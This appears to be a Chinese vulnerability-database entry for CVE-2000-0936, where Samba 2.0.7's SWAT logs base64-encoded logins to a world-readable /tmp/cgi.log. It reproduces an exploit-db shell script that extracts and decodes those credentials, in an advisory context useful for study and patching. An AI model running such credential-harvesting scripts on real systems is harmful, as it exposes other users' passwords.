Samba Samba Web Administration Tool (SWAT)读取敏感信息漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106065 漏洞类型 未知
发布时间 2000-11-01 更新时间 2005-05-02
CVE编号 CVE-2000-0936 CNNVD-ID CNNVD-200012-162
漏洞平台 Linux CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/20341
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-162
|漏洞详情
Samba2.0.7版本SambaWebAdministrationTool(SWAT)安装带有全域可读权限cgi.log日志文件。本地用户读取例如用户名和密码的敏感信息。
|漏洞EXP
source: http://www.securityfocus.com/bid/1874/info

The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access. 

This problem in particular is a permissions problem where users can take advantage of poor permission setting in SWAT's log files to read username and password data which SWAT records for all users which login to remotely administrate the server. If logging is turned on (it is not enabled by default) SWAT it logs by default to:

/tmp/cgi.log

This file is world readable and contains usernames and passwords which local users may pull from the file (base64 encoded).


#!/bin/sh
# phear my ugly shell scripting! - miah@uberhax0r.net
# grabs username:password from swat cgi.log, then decodes 
# and outputs the results.
clear
echo "######################"
echo "#checking for cgi.log#"
echo "######################"
echo
 if [ -f /tmp/cgi.log ]
  then
	echo " - cgi.log found"
	echo " - extracting logins"
	echo
	grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log
	sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1
	uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log
	rm /tmp/encoded.cgi.log*
	for i in $( cat /tmp/uniq.cgi.log ); do
		echo $i 012| mmencode -u
		echo
	done	
	rm /tmp/uniq.cgi.log
  else
	echo " - cgi.log not found!" 
fi
|参考资料

来源:BID
名称:1874
链接:http://www.securityfocus.com/bid/1874
来源:BUGTRAQ
名称:20001030Samba2.0.7SWATvulnerabilities
链接:http://archives.neohapsis.com/archives/bugtraq/2000-10/0430.html
来源:XF
名称:samba-swat-logfile-info
链接:http://xforce.iss.net/static/5445.php